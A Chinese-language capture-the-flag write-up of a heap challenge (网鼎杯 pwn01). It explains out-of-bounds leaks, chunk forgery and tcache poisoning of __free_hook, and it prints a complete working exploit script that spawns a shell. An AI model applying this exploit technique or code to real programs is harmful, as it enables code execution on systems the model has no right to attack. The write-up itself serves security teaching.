网鼎杯白虎组 pwn01 超详细分析
字数 1500 2025-08-23 18:31:25
网鼎杯白虎组 pwn01 题目分析与利用教程
题目概述
这是一个来自网鼎杯白虎组初赛的堆利用题目,属于常规的堆菜单题,但具有以下特点:
- 没有常见的堆溢出、双重释放或UAF问题
- 主要利用点在于OOB(越界)漏洞
- 提供了一次任意地址写666666(0xA2C2A)的机会
- 需要结合堆风水布局、tcache指针劫持和Hook攻击技术
保护机制分析
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
保护全开,增加了利用难度。
功能分析
程序提供4个主要功能:
-
add_chunk
- 最多可申请32个chunk
- chunk大小限制:0x90 < size <= 0x1000
- 将size和指针分别存储在全局数组中
- 无溢出漏洞
-
delete_chunk
- 存在OOB漏洞:未检查索引范围,可输入负数
- 释放后指针清零,但size数组未清零
- 无UAF或double-free问题
-
edit_chunk
- 只能使用一次
- 可向任意地址写入666666(0xA2C2A)
- 写入4字节数据
-
show_chunk
- 存在OOB漏洞:未检查索引范围
- 可泄露任意内存内容
利用思路
1. 泄露PIE基址
通过OOB漏洞读取指针数组附近的内存:
- 在指针数组上方存在一个指向自身的指针(0x4008偏移处)
- 使用
show(-11)可以泄露这个地址 - 计算得到ELF基址:
elf.address = leak - 0x4008
2. 泄露libc地址
堆布局策略:
- 先申请一个小chunk(0x108)并在其中伪造chunk header
- 申请一个unsorted bin大小的chunk(0x500)
- 申请两个小chunk(0x108)防止合并
- 释放unsorted bin chunk
- 重新申请小chunk(0x108),此时会分割unsorted bin
- 使用
show()读取残留的libc指针
3. 利用任意地址写
关键点:
- 使用
edit()修改指针数组中的指针 - 通过写入666666(0xA2C2A)来修改指针的低4字节
- 目标是让指针指向伪造的chunk header
具体操作:
edit(pack(elf.address + 0x4068 - 3 + 24))
4. 堆风水布局与伪造chunk
- 在第一个小chunk中伪造0x311大小的chunk header
- 通过修改指针使其指向伪造的chunk
- 释放该chunk使其进入tcache bin
- 创建重叠chunk以控制后续内存
5. Tcache攻击
- 释放两个0x110大小的chunk到tcache
- 申请大chunk覆盖tcache的next指针
- 将next指针指向
__free_hook - 申请chunk并在
__free_hook处写入system地址 - 释放包含"/bin/sh"的chunk获取shell
完整利用代码
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"Input your choice\n"):
sla(prompt, i)
def add(sz: int, content: bytes):
cmd('1')
sla(b"Size:\n", str(sz).encode())
sla(b"Content:\n", content)
def free(idx: int):
cmd('2')
sla(b"Index:\n", str(idx).encode())
def edit(content: bytes):
cmd('3')
sa(b"content:\n", content)
def show(idx: int):
cmd('4')
sla(b"Index:\n", str(idx).encode())
# 1. Leak PIE address
show(-11)
leak = unpack(rl()[:-1], "all")
elf.address = leak - 0x4008
# 2. Prepare fake chunk and leak libc
payload0 = flat({0x58: pack(0x311)}, filler=b"\x00")
add(0x108, payload0)
add(0x500, b"1")
add(0x108, b"2")
add(0x108, b"3")
free(1)
add(0x108, b"4"*7)
add(0x108, b"5")
add(0x108, b"6")
# 3. Leak libc address
show(4)
leak = r(8+6)[8:]
leak = unpack(leak, "all")
libc.address = leak - 0x1ed010
# 4. Arbitrary write to modify pointer
edit(pack(elf.address + 0x4068 - 3 + 24))
free(4)
# 5. Tcache attack
payload1 = flat({
0xa8: pack(0x111),
0x1b8: pack(0x111),
0x1c0: pack(libc.sym.__free_hook) + pack(0xdeadbeef)
}, filler=b"\x00")
free(6)
free(5)
add(0x308, payload1)
add(0x108, b"/bin/sh\x00")
add(0x108, pack(libc.sym.system))
free(8)
ia()
关键知识点
-
OOB漏洞利用:
- 通过越界读写可以泄露关键地址
- 需要找到合适的内存布局和指针
-
堆风水布局:
- 合理规划chunk大小和释放顺序
- 防止top chunk合并
- 创建重叠chunk
-
任意地址写利用:
- 虽然只能写固定值,但可以用于修改指针低字节
- 结合内存布局实现精确修改
-
tcache攻击:
- 劫持tcache的next指针
- 通过重叠chunk控制内存
- 最终目标是修改
__free_hook为system
-
libc-2.31特性:
- 了解tcache和unsorted bin的行为
- 注意保护机制对利用的影响
总结
这道题目综合考察了多种堆利用技术,关键在于:
- 发现并利用OOB漏洞泄露地址
- 巧妙利用有限的任意地址写机会
- 精确的堆布局和chunk伪造
- 最终的tcache劫持和hook攻击
通过这道题目可以深入理解现代堆利用的各种技术和挑战。